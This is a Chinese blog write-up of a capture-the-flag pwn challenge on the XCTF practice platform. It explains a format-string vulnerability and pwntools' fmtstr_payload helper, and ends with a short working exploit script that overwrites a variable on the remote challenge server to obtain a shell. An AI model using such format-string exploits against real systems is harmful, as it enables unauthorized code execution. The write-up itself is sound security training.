实时数据监测——fmtstr_payload的应用


攻防世界——实时数据监测

这题思路很简单,难度大大降低了,本来是一道盲打题,但给了文件就很清晰了,主要是记录一下一个pwntools的新用法
checksec:

看到没开任何保护,经验就告诉我,这是一道盲打改编题。
拖进IDA:


逻辑很简单知道吧key赋值成0x2223322就可以获得shell

这里也很清楚是个格式化字符串漏洞
连接靶机看看偏移量:

偏移量为12
这里讲一讲要用到的pwntools:fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)
实际上我们常用的形式是fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
比如我要更改puts函数got表中的实际地址为system的实际地址,且偏移量为12,我可以这么写:

fmtstr_payload(12,{puts_got:system_addr})#这里是变量名

这样就可以实现真正的任意内存地址写
上exp:

from pwn import*
io=remote("61.147.171.105",58121)
payload=fmtstr_payload(12,{0x804A048:0x2223322})
io.sendline(payload)
io.interactive()

获得shell:


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录